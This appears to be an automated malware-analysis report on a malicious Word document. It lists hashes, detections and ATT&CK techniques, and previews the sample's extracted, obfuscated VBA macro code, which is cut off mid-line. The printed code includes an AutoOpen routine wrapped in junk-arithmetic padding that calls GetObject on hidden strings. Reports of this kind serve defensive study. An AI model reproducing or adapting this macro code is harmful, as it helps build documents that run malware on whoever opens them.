Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87698079ef2b9a3c…

MALICIOUS

Office (OLE)

172.2 KB Created: 2019-03-28 15:01:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 3b5c7162bd13faa12062d73ad8492245 SHA-1: 24f77a28302ed8db3044dd82c3a6ca8fcbf5d854 SHA-256: 87698079ef2b9a3ce0ff2c16e9039e847a81bae4e0793b005c72a443683d28f4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes GetObject, indicating an attempt to execute code. The presence of obfuscated VBA code suggests it is designed to download and execute a secondary payload. The ClamAV detection and heuristic firings strongly support a malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Dspf-6915759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dspf-6915759-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21577 bytes
SHA-256: 078db8ce1154c43ceb7f51a0c45067c3b52c95a3c993faabd8a93d1148012c7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PAQ_UUkB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VAGDDBD"
Attribute VB_Base = "0{AE8C0625-BDDB-42CE-BD9C-9F4C171B2BCA}{D26F1D8D-9AA5-4A15-9003-D6FF3DE8FECC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lAAAAZA"
Attribute VB_Base = "0{8D58927F-6E28-498F-A9C5-E75B992FA05B}{48D459E1-34DE-4D74-AAFC-E4E09D9293DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zAQCox"
Function p1QxAo()
   If mBQBAAo = wZkCAU Then
jwQXQAQ = _
M4BUBc_ / Asc(fAGkAA) - _
WZUAoCA * CDbl(486880593) / WDCAwoAB * CVar( _
270883748 * Log(UZACAk1)) / HUwUDAA * Rnd( _
535322809) * 377589016 * Sgn(LGAxA1 / Log(572873327))
End If
   If Q1_A1Q = Q1DAUAQB Then
GADQAZB = _
jQoA4A / Asc(LDoxZQ) - _
d4QBk_ * CDbl(945704021) / jUABQCQ * CVar( _
853812376 * Log(C_A_AxAA)) / QAGAGA * Rnd( _
914911597) * 319093227 * Sgn(JBADcA / Log(24157332))
End If
   If fGGwCA = Yw_1BAB Then
fADUAwQx = _
nAA_CZB4 / Asc(TZAQAA1) - _
nZAG_AUk * CDbl(361917382) / vwG4xAA * CVar( _
760125774 * Log(kXDAUDBA)) / wUDZwDB * Rnd( _
949487467) * 194882609 * Sgn(ZAAQAAB / Log(760260460))
End If
   If EAXQUA = i1QAZkZ Then
U4oAAQG = _
qUA_DBX / Asc(UCUAAG) - _
hQZQAD * CDbl(750177526) / dckAkQX * CVar( _
802687191 * Log(hXXUAAB)) / pkGw1A * Rnd( _
868811074) * 883278205 * Sgn(iAcc_A / Log(214020932))
End If
   If qcQUU_D = l44_cDAU Then
fAUBA_k = _
PoAAUB / Asc(vAABD_QU) - _
Jw4AAk * CDbl(805244369) / WACA4AA * CVar( _
267143137 * Log(cwAUXxZC)) / RoA4ACZ * Rnd( _
660850166) * 880450595 * Sgn(NQxAAcc / Log(326540475))
End If
   If tAABUUk = zUoBUDD Then
XocQoAA = _
ZDAUAA / Asc(EAAAZZAD) - _
lAAkAw * CDbl(210423255) / jAAo4BA * CVar( _
632520463 * Log(NCA44xAA)) / SG_4BQAA * Rnd( _
366010691) * 361526185 * Sgn(O_A_BAA / Log(469676190))
End If
   If KkA1QU = sAAABX Then
JDA_Ao = _
GAQAAA / Asc(qABAAU) - _
XwUAZ4A * CDbl(427109143) / GAGZAA * CVar( _
383231681 * Log(BA_kAU)) / vAwD_c * Rnd( _
439808398) * 11930694 * Sgn(zZZkk_B / Log(927468726))
End If
   If qk4k4A_ = FCAoGAQD Then
Q_DAxQ = _
iADZCCAw / Asc(ZU1AA4C1) - _
HAAoAA * CDbl(70580405) / D44w1oAo * CVar( _
594592570 * Log(MAQCoBAA)) / FUAABCU * Rnd( _
216592006) * 457973834 * Sgn(XZ4AoZcU / Log(640007809))
End If
End Function
Sub autoopen()
On Error Resume Next
   If r4A_BA = zBADUZ Then
QAQZx_1 = _
aQQAAA4A / Asc(PcoAcA) - _
OA_AAB * CDbl(930696449) / aD1UAZ * CVar( _
576219779 * Log(tAAUkAD)) / W_AAACU * Rnd( _
2105744) * 765122749 * Sgn(vCAGAD / Log(47647406))
End If
   If G_DAcAUx = WZBAQZXx Then
ABAQADQA = _
iAAXxBA / Asc(GUUUA1D) - _
kAAAAUAB * CDbl(219622493) / jQADQDD * CVar( _
595327785 * Log(zAAGGX1X)) / j4ACACx * Rnd( _
156835828) * 194501898 * Sgn(RoDA4AA / Log(832737148))
End If
Set sQCDXD = GetObject(VAGDDBD.EAAGG1.Text + lAAAAZA.s1AUCAD + VAGDDBD.EAAGG1.Tag)
   If kDZAAk = JcAxAX Then
no_GA1AB = _
S1AXx1A / Asc(bUQXA4cU) - _
FGABokG * CDbl(211715916) / UAGkZA * CVar( _
44962163 * Log(wABA1Akw)) / DA4AAwo * Rnd( _
456498447) * 713774352 * Sgn(RD4AZA / Log(29497941))
End If
   If ZkcwQAD = soCGDAAC Then
O4CG_CAA = _
GAAA_1BA / Asc(CwAcDc) - _
D1GXZQxx * CDbl(548299626) / PcAQABU * CVar( _
817735915 * Log(pX_GDo)) / z4ZZAG * Rnd( _
989692238) * 76349374 * Sgn(NAAAAAcD / Log(994623840))
End If
If 874706 = 874706 Then
   If o44ADB = RkAo_BB Then
RA1AQQB = _
BQZ_DAC / Asc(Z_AcCAA) - _
oADUAA_4 * CDbl(96839026) / NBxQxA4A * CVar( _
887892495 * Log(wZAD__)) / Y_cBAAc * Rnd( _
648339834) * 457130859 * Sgn(oA1cAGAA / L
... (truncated)